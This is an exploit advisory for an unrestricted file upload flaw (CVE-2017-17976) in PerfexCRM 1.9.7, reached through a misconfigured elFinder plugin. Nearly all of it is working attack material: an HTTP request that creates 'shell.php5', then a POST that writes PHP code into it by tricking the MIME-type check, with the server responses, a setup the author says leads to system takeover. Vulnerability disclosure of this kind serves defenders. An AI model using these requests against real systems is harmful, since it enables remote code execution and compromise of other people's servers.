# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload 
# Exploit Author: Ahmad Mahfouz 
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2017-17976
# Version: v1.9.7 
# Software Link: https://www.perfexcrm.com/

 

# bypassing the misconfigured file upload with file .php5

 

GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]


JSON Response:

{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}

 

#bypass the file content restriction by adding TEXT line to represent mime type text


Request


POST /admin/utilities/elfinder_init HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Connection: close

 

cmd=put&target=[folder]&encoding=UTF-8&content=demo

 

newline to represent text mime type

<?php

    phpinfo();

?>

 

HTTP/1.1 200 OK
Content-Type: application/json
Connection: close
Content-Length: 167

 

{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}